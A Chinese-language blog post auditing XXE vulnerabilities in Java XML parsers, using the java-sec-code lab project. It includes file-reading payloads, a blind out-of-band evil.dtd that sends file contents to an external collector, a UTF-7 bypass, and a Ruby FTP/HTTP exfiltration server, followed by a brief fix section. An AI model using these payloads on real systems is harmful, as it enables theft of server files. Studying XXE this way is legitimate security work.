Java OWASP 中的 XXE 代码审计
Drunkbaby Lv6

Java XXE

Java OWASP 中的 XXE 代码审计

0x01 前言

XML 实际上属于支持序列化与反序列化的一门语言之一,初识不懂,再识已是饱含深情。

  • 之前看的是 WebGoat,感觉那时候自己的底子太差了,看不太明白。

现在回过头来看,自己会有一些比较深刻的理解吧,也尝试独立分析一个漏洞的代码审计。

0x02 XXE 的代码审计

代码审计基于这个项目:

https://github.com/JoyChou93/java-sec-code

不扯废话,直接开始

关于审计见到的常见类/接口

关于 Java SAX 解析器

简单来说,Java SAX 就是读 XML 的文件内容的,根据标签读,比较好理解。它的特点是线性方式的处理。

关于 Java JDOM 解析器

Java JDOM 解析器分析 XML 文档,可以灵活地得到一个树形结构,是轻量级的快速 API

XMLReader

可以直接点进这个接口看一看

这里有一长段的注释,来说明这个接口是什么用的,粗略读一下:

XMLReader接口是一种通过回调读取XML文档的接口,其存在于公共区域中。XMLReader接口是XML解析器实现SAX2驱动程序所必需的接口,其允许应用程序设置和查询解析器中的功能和属性、注册文档处理的事件处理程序,以及开始文档解析。当XMLReader使用默认的解析方法并且未对XML进行过滤时,会出现XXE漏洞

SAXBuilder

SAXBuilder 是一个 JDOM 解析器,其能够将路径中的 XML 文件解析为 Document 对象。SAXBuilder 使用第三方 SAX 解析器来处理解析任务,并使用SAXHandler的实例侦听 SAX 事件。当SAXBuilder使用默认的解析方法并且未对XML进行过滤时,会出现 XXE 漏洞

SAXReader

DOM4J是dom4j.org出品的一个开源XML解析包,使用起来非常简单,只要了解基本的XML-DOM模型,就能使用。DOM4J读/写XML文档主要依赖于org.dom4j.io包,它有DOMReader和SAXReader两种方式。因为使用了同一个接口,所以这两种方式的调用方法是完全一致的。同样的,在使用默认解析方法并且未对XML进行过滤时,其也会出现XXE漏洞。

SAXParserFactory

SAXParserFactory使应用程序能够配置和获取基于SAX的解析器以解析XML文档。其受保护的构造方法,可以强制使用newInstance()。跟上面介绍的一样,在使用默认解析方法且未对XML进行过滤时,其也会出现XXE漏洞。

Digester

Digester类用来将XML映射成Java类,以简化XML的处理。它是Apache Commons库中的一个jar包:common-digester包。一样的在默认配置下会出现XXE漏洞。其触发的XXE漏洞是没有回显的,我们一般需通过Blind XXE的方法来利用

DocumentBuilderFactory

javax.xml.parsers包中的DocumentBuilderFactory用于创建DOM模式的解析器对象,DocumentBuilderFactory是一个抽象工厂类,它不能直接实例化,但该类提供了一个newInstance()方法,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。

有回显的 XXE

这一块很多文章说的一塌糊涂,有无回显都讲不明白。

最开始我们看到的 XMLReader 代码,以及其他的 xxxReader 代码,都是不回显的,因为它们只是对内容进行了解析,但是并没有对内容进行读取与输出。

  • 因为 XML 也是反序列化的一种,举个简单的 🌰,我们平常的 Runtime.getRuntime.exe() 是没有回显的,如果要有回显,必须要写 byte[] code = ... 这样子,把最后的结果读取出来。

DocumentBuilder XXE

对应的接口代码,也仅有这一个是有回显的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)  
public String DocumentBuilderVuln01(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml

// 遍历xml节点name和value
StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
sr.close();
return buf.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}

这里调试一下,理解一下流程,后续就不再调试了。

payload

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Drunkbaby [
<!ENTITY xxe SYSTEM "file:///E:/1.txt">
]>
<root>&xxe;</root>

同时要将 Content-Type 修改为 application/xml,不然会报错

攻击成功的示例图,这里成功读取到了 E:/1.txt 这个文件

这里我们还可以通过这一 payload 列出所有文件

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Drunkbaby [
<!ENTITY xxe SYSTEM "file:///">
]>
<root>&xxe;</root>

流程分析

在对应接口处下一个断点,开始调试:

这里先获取到 request 请求,把我们在 POST 请求中的传参保存到 body 这个字符串当中。

下一步是 DocumnetBuilderFactory 类用 newInstance() 的方式进行实例化。本身抽象类是不可以实例化的,但是 DocumnetBuilderFactory 自己定义了一个 newInstance() 实例化的方法。

它定义一个工厂 API,使应用程序能够获取从 XML 文档生成 DOM 对象树的解析器。

往下,new 了一个 DocumnetBuilder 对象,这就比较像反射的概念,师傅们可以自行理解,这几步都还是比较简单的。

这里我们得到的其实是两个抽象类的实现类

继续往下,把我们之前 body 里面的 xml 语句读出来,进行 parse 反序列化的过程

反序列化里面的过程就没什么好看的了,主要是将我们的 xml 参数,转换为一个 Document 对象。

后续的过程做了遍历 xml 节点的 name 与 value

最后我们去读取文件的结果会保存至 buf 这个变量中,如图

无回显的 XXE

很多文章讲无回显讲的很不明白,我这里总结一下。

打无回显主要就是这种方式 ———— DNS 探测

我们以 XMLReader XXE 为例,打个 payload

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Drunkbaby [ <!ENTITY xxe SYSTEM "http://c5i5mmjypt9i3863jvcwznj3gumka9.oastify.com"> ]>

<root>&xxe;</root>

这就证明了存在 XXE 漏洞。要进一步利用的话,步骤在 XMLReader 里面演示一遍,后续不再赘述。

XMLReader XXE

  • XMLReader 是无回显的 XXE

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
@PostMapping("/xmlReader/vuln")  
public String xmlReaderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
xmlReader.parse(new InputSource(new StringReader(body))); // parse xml
return "xmlReader xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}

探测一下,存在 XXE 漏洞,并且是无回显的。

  • 漏洞的进一步利用:

先放一个恶意 DTD,这个一般放到 VPS 上面。

evil.dtd

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///E:/1.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://pg9ydrnt7kzybog1jz9hyjmtuk0aoz.oastify.com/?x=%file;'>">
%eval;
%exfil;

为啥这里要用 dns 这种攻击手段捏?因为我们正常的盲注是读不到信息的,能利用的非常非常有限,所以这里我们需要通过 dnslog 外带出数据。

  • 原理上来说是这样的:

有时候如果 xxe 当中如果服务端没有正确处理好使用 try catch,那么如果抛出异常 Web 界面通常会显示这个错误,所以我们可以如此攻击。

用 python 起一个服务器

1
python3 -m http.server 9999

接着发包,攻击

这里发包肯定是没问题的,首先我们的恶意 dtd 200,被成功调用了。

攻击是成功的,我们去到 burp 的 dnslog 界面,看到已经是成功的外带出了数据。

这才是真正成功的攻击

同样我们的日志里面也是有攻击痕迹的

这是盲注攻击的通用手法,所以后续的攻击就挂一个 payload 和截图,师傅们可以自行复现。

SAXBuilder XXE

一致的 payload

SAXReader XXE

SAXParser XXE

Digester XXE

0x03 关于 Java XXE 的修复

修复起来可以说是非常简单,甚至不怎么需要成本,不影响业务的。

修复的手段主要就是一种:禁用外部实体 DTD。对于不同的解析器有不同的修复手段。

关键语句就是这两句:

1
2
3
4
5
6
var xif = XMLInputFactory.newInstance();
// 不支持外部实体
// 后面两行是多加的代码
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
// 不支持dtd
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
  • 感觉还是蛮简单的,就不啰嗦了。

0x04 一些绕过手法与 trick

编码绕过

比如使用utf7

原来

1
2
3
4
5
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

转换后

1
2
3
4
5
<?xml version="1.0" encoding="utf-7" ?>
+ADwAIQ-DOCTYPE ANY +AFs-
+ADwAIQ-ENTITY f SYSTEM +ACI-file:///etc/passwd+ACIAPg-
+AF0APg-
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-

Java XML DTD 的 trick 利用

我们在 sun.net.www.protocol 包下可以看到支持的协议,有些时候需要 file 协议与 netdoc 协议一起配合使用

1
2
3
<!ENTITY % evil SYSTEM "file:///" >
<!ENTITY % print "<!ENTITY send SYSTEM 'netdoc://%evil;'>">
%print;

解决文件跨行传输—— ftp&jdk1.7+

这里的内容是参考 Y4tacker 师傅的

在 XXE 盲注中,我们也提到通过 http 协议访问我们的服务器会只获取被读取的文件第一行。

参考 XXE OOB exploitation at Java 1.7+ 这篇文章,在特定情况下我们可以解决这种困境。

在 jdk1.7 以前,可以通过http协议传输具有换行的文件的。因为java会对换行符进行URL编码然后就访问一个地址。

但是1.7之后,就修复了这个问题,会报错。

但是我们仍然可以用ftp服务器来接受换行文件,因为ftp没有进行类似的限制,换行之后的字符会被当做CWD命令输入。

只要起一个恶意的FTP服务器,其他按照正常的XXE盲注打就好了。

1
2
3
<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://127.0.0.1:2121/%b;'>">
%c;

payload:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://vps:8088/">
%asd;
%rrr;
]>
<a></a>

启动ftp-server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
require 'socket'

ftp_server = TCPServer.new 2121
http_server = TCPServer.new 8088

log = File.open( "xxe-ftp.log", "a")

payload = '<!ENTITY % b SYSTEM "file:///tmp/1.txt">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM \'ftp://127.0.0.1:2121/%b;\'>">
%c;'

Thread.start do
loop do
Thread.start(http_server.accept) do |http_client|
puts "HTTP. New client connected"
loop {
req = http_client.gets()
break if req.nil?
if req.start_with? "GET"
http_client.puts("HTTP/1.1 200 OK\r\nContent-length: #{payload.length}\r\n\r\n#{payload}")
end
puts req
}
puts "HTTP. Connection closed"
end
end

end

Thread.start do
loop do
Thread.start(ftp_server.accept) do |ftp_client|
puts "FTP. New client connected"
ftp_client.puts("220 xxe-ftp-server")
loop {
req = ftp_client.gets()
break if req.nil?
puts "< "+req
log.write "get req: #{req.inspect}\n"

if req.include? "LIST"
ftp_client.puts("drwxrwxrwx 1 owner group 1 Feb 21 04:37 test")
ftp_client.puts("150 Opening BINARY mode data connection for /bin/ls")
ftp_client.puts("226 Transfer complete.")
elsif req.include? "USER"
ftp_client.puts("331 password please - version check")
elsif req.include? "PORT"
puts "! PORT received"
puts "> 200 PORT command ok"
ftp_client.puts("200 PORT command ok")
else
puts "> 230 more data please!"
ftp_client.puts("230 more data please!")
end
}
puts "FTP. Connection closed"
end
end
end

loop do
sleep(10000)
end

发出的 ftp:// url 格式也可以使用 username:password 的形式。

1
ftp://%b:password@evil.com:8000

但是显而易见这要求 %b 这个文件内容中不包含 : 不然就会,格式报错。所以还是前者比较好

 评论